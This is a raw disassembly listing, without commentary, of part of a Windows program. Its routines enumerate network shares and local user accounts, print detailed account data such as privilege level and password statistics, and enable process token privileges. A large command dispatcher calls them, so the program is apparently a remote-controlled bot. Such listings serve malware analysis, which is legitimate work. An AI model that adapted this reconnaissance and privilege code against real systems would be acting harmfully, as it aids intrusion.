		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CDB58
		pop	edi
		leave
		retn
sub_4193A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41940B	proc near		; CODE XREF: sub_4193A0+Ap
					; sub_4193A0+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419418
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419418:				; CODE XREF: sub_41940B+9j
		push	ebx
		push	esi
		mov	esi, dword_428184
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D795
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41940B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41944C	proc near		; CODE XREF: sub_41927A+20p
					; sub_41A628+1BCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41940B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41940B
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CDB30
		pop	esi
		retn
sub_41944C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41946F	proc near		; CODE XREF: sub_401B66+45ADp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_41940B
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 18h


loc_4194A8:				; CODE XREF: sub_41946F+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CDBA8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_41950B
		cmp	ebx, 0EAh
		jz	short loc_41950B
		push	ebx
		push	ebx
		call	sub_419C1A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_43BD80
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 24h
		jmp	short loc_419578
; ---------------------------------------------------------------------------


loc_41950B:				; CODE XREF: sub_41946F+5Dj
					; sub_41946F+65j
		xor	edi, edi
		inc	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_41956F
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_419519:				; CODE XREF: sub_41946F+FCj
		push	dword ptr [esi+10h]
		call	dword_4CDB4C	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_419530
		mov	eax, offset aNo	; "No"


loc_419530:				; CODE XREF: sub_41946F+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419519
		xor	esi, esi


loc_41956F:				; CODE XREF: sub_41946F+A2j
		push	[ebp+var_4]
		call	dword_4CDCF4


loc_419578:				; CODE XREF: sub_41946F+9Aj
		cmp	ebx, 0EAh
		jz	loc_4194A8
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41946F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419590	proc near		; CODE XREF: sub_401B66:loc_40617Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_419634
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_4195D2
		dec	eax
		jz	short loc_4195C7
		dec	eax
		jnz	short loc_4195ED
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_4196D6
		add	esp, 14h
		jmp	short loc_4195E9
; ---------------------------------------------------------------------------


loc_4195C7:				; CODE XREF: sub_419590+1Dj
		push	ebx
		push	edi
		call	sub_4196B5
		pop	ecx
		pop	ecx
		jmp	short loc_4195E9
; ---------------------------------------------------------------------------


loc_4195D2:				; CODE XREF: sub_419590+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_4195E6
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_41965B
		add	esp, 0Ch
		jmp	short loc_4195E9
; ---------------------------------------------------------------------------


loc_4195E6:				; CODE XREF: sub_419590+45j
		push	57h
		pop	eax


loc_4195E9:				; CODE XREF: sub_419590+35j
					; sub_419590+40j ...
		cmp	eax, edi
		jnz	short loc_41960D


loc_4195ED:				; CODE XREF: sub_419590+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DDBB0
		push	off_43B67C[eax*4]
		push	offset unk_43BE38
		push	esi
		call	sub_41C056
		add	esp, 10h
		jmp	short loc_419654
; ---------------------------------------------------------------------------


loc_41960D:				; CODE XREF: sub_419590+5Bj
		push	eax
		call	sub_419C1A
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DDBB0
		push	off_43B678[eax*4]
		push	offset unk_43BE08
		push	esi
		call	sub_41C056
		add	esp, 18h
		jmp	short loc_419654
; ---------------------------------------------------------------------------


loc_419634:				; CODE XREF: sub_419590+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DDBB0
		lea	eax, [eax+eax*2]
		push	off_43B678[eax*4]
		push	offset unk_43BDE0
		push	esi
		call	sub_41C056
		add	esp, 0Ch


loc_419654:				; CODE XREF: sub_419590+7Bj
					; sub_419590+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41965B	proc near		; CODE XREF: sub_419590+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_41940B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_41940B
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_41940B
		add	esp, 0Ch
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		lea	ecx, [ebp+var_4]
		mov	[ebp+var_20], eax
		xor	eax, eax
		push	ecx
		lea	ecx, [ebp+var_24]
		inc	eax
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CDB3C
		pop	edi
		leave
		retn
sub_41965B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4196B5	proc near		; CODE XREF: sub_419590+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41940B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41940B
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CDB2C
		pop	esi
		retn
sub_4196B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196D6	proc near		; CODE XREF: sub_419590+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_41940B
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_41940B
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CDCBC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_419A63
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419A9E
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C056
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_4197EF
		dec	eax
		jz	short loc_4197E8
		dec	eax
		jz	short loc_4197E1
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_4197F4
; ---------------------------------------------------------------------------


loc_4197E1:				; CODE XREF: sub_4196D6+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_4197F4
; ---------------------------------------------------------------------------


loc_4197E8:				; CODE XREF: sub_4196D6+FFj
		mov	eax, offset aUser_2 ; "User"
		jmp	short loc_4197F4
; ---------------------------------------------------------------------------


loc_4197EF:				; CODE XREF: sub_4196D6+FCj
		mov	eax, offset aGuest ; "Guest"


loc_4197F4:				; CODE XREF: sub_4196D6+109j
					; sub_4196D6+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409982
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419A8F
; ---------------------------------------------------------------------------


loc_419A63:				; CODE XREF: sub_4196D6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43BE58
		push	eax
		call	sub_41C056
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409982
		add	esp, 20h


loc_419A8F:				; CODE XREF: sub_4196D6+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_419A9E
		push	[ebp+var_4]
		call	dword_4CDCF4


loc_419A9E:				; CODE XREF: sub_4196D6+40j
					; sub_4196D6+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_4196D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AA4	proc near		; CODE XREF: sub_401B66+4644p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_41940B
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 18h


loc_419AE3:				; CODE XREF: sub_419AA4+12Bj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CDBC4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_419B44
		cmp	eax, 0EAh
		jz	short loc_419B44
		push	eax
		push	eax
		call	sub_419C1A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_43C048
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 24h
		jmp	short loc_419BB5
; ---------------------------------------------------------------------------


loc_419B44:				; CODE XREF: sub_419AA4+62j
					; sub_419AA4+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_419BC8
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419BB5


loc_419B52:				; CODE XREF: sub_419AA4+E9j
		cmp	edi, esi
		lea	eax, [ebp+var_218]
		jz	short loc_419B91
		push	dword ptr [edi]
		push	offset aS_6	; "  %S"
		push	eax
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419B52
		jmp	short loc_419BB5
; ---------------------------------------------------------------------------


loc_419B91:				; CODE XREF: sub_419AA4+B6j
		push	offset unk_43C014
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 1Ch


loc_419BB5:				; CODE XREF: sub_419AA4+9Ej
					; sub_419AA4+ACj ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_419BC8
		push	edi
		call	dword_4CDCF4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_419BC8:				; CODE XREF: sub_419AA4+A5j
					; sub_419AA4+116j
		cmp	[ebp+var_C], 0EAh
		jz	loc_419AE3
		cmp	edi, esi
		jz	short loc_419BE0
		push	edi
		call	dword_4CDCF4


loc_419BE0:				; CODE XREF: sub_419AA4+133j
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_419AA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C1A	proc near		; CODE XREF: sub_41927A+41p
					; sub_41946F+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419CCC
		jz	loc_419CC5
		cmp	eax, 7Bh
		ja	short loc_419C91
		jz	short loc_419C87
		cmp	eax, 5
		jz	short loc_419C7D
		cmp	eax, 8
		jz	short loc_419C73
		cmp	eax, 32h
		jz	short loc_419C69
		cmp	eax, 35h
		jz	short loc_419C5F
		cmp	eax, 57h
		jnz	loc_419D1B
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419D3C
; ---------------------------------------------------------------------------


loc_419C5F:				; CODE XREF: sub_419C1A+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419D3C
; ---------------------------------------------------------------------------


loc_419C69:				; CODE XREF: sub_419C1A+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419D3C
; ---------------------------------------------------------------------------


loc_419C73:				; CODE XREF: sub_419C1A+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419D3C
; ---------------------------------------------------------------------------


loc_419C7D:				; CODE XREF: sub_419C1A+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419D3C
; ---------------------------------------------------------------------------


loc_419C87:				; CODE XREF: sub_419C1A+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419D3C
; ---------------------------------------------------------------------------


loc_419C91:				; CODE XREF: sub_419C1A+1Aj
		sub	eax, 7Ch
		jz	short loc_419CBE
		sub	eax, 7C8h
		jz	short loc_419CB7
		dec	eax
		jz	short loc_419CAD
		dec	eax
		jnz	short loc_419D1B
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419D3C
; ---------------------------------------------------------------------------


loc_419CAD:				; CODE XREF: sub_419C1A+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419D3C
; ---------------------------------------------------------------------------


loc_419CB7:				; CODE XREF: sub_419C1A+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419D3C
; ---------------------------------------------------------------------------


loc_419CBE:				; CODE XREF: sub_419C1A+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419D3C
; ---------------------------------------------------------------------------


loc_419CC5:				; CODE XREF: sub_419C1A+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419D3C
; ---------------------------------------------------------------------------


loc_419CCC:				; CODE XREF: sub_419C1A+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419D05
		jz	short loc_419CFE
		sub	eax, 8ADh
		jz	short loc_419D30
		dec	eax
		dec	eax
		jz	short loc_419CF7
		dec	eax
		jz	short loc_419CF0
		dec	eax
		dec	eax
		jnz	short loc_419D1B
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419D3C
; ---------------------------------------------------------------------------


loc_419CF0:				; CODE XREF: sub_419C1A+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419D3C
; ---------------------------------------------------------------------------


loc_419CF7:				; CODE XREF: sub_419C1A+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419D3C
; ---------------------------------------------------------------------------


loc_419CFE:				; CODE XREF: sub_419C1A+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419D3C
; ---------------------------------------------------------------------------


loc_419D05:				; CODE XREF: sub_419C1A+B9j
		sub	eax, 8CAh
		jz	short loc_419D37
		sub	eax, 17h
		jz	short loc_419D30
		sub	eax, 25h
		jz	short loc_419D29
		sub	eax, 29h
		jz	short loc_419D22


loc_419D1B:				; CODE XREF: sub_419C1A+35j
					; sub_419C1A+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419D3C
; ---------------------------------------------------------------------------


loc_419D22:				; CODE XREF: sub_419C1A+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419D3C
; ---------------------------------------------------------------------------


loc_419D29:				; CODE XREF: sub_419C1A+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419D3C
; ---------------------------------------------------------------------------


loc_419D30:				; CODE XREF: sub_419C1A+C2j
					; sub_419C1A+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419D3C
; ---------------------------------------------------------------------------


loc_419D37:				; CODE XREF: sub_419C1A+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419D3C:				; CODE XREF: sub_419C1A+40j
					; sub_419C1A+4Aj ...
		push	offset dword_4DD948
		call	sub_41C056
		pop	ecx
		mov	eax, offset dword_4DD948
		pop	ecx
		retn
sub_419C1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D4E	proc near		; CODE XREF: sub_401B66+468Ap

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E034
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_4280C0	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41E034
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E017
		add	esp, 10h
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CDC74
		test	eax, eax
		jnz	short loc_419DDE
		mov	esi, offset dword_4DD740
		push	offset unk_43C384
		push	esi
		call	sub_41C056
		pop	ecx
		pop	ecx
		jmp	short loc_419E07
; ---------------------------------------------------------------------------


loc_419DDE:				; CODE XREF: sub_419D4E+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_419C1A
		pop	ecx
		mov	esi, offset dword_4DD740
		push	eax
		push	offset dword_43C358
		push	esi
		call	sub_41C056
		add	esp, 14h


loc_419E07:				; CODE XREF: sub_419D4E+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419D4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E0C	proc near		; CODE XREF: sub_417474+45p
					; sub_417474+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_4280FC	; GetCurrentProcess
		push	eax
		call	dword_4CDC48	; OpenProcessToken
		test	eax, eax
		jnz	short loc_419E2B
		leave
		retn
; ---------------------------------------------------------------------------


loc_419E2B:				; CODE XREF: sub_419E0C+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CDC20	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_419E69
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419E52
		or	[ebp+var_8], 2
		jmp	short loc_419E56
; ---------------------------------------------------------------------------


loc_419E52:				; CODE XREF: sub_419E0C+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419E56:				; CODE XREF: sub_419E0C+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CDCD0	; AdjustTokenPrivileges
		mov	esi, eax


loc_419E69:				; CODE XREF: sub_419E0C+32j
		push	[ebp+var_4]
		call	dword_42806C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419E0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E77	proc near		; CODE XREF: sub_401B66+77F4p
					; sub_41A09A+74p ...

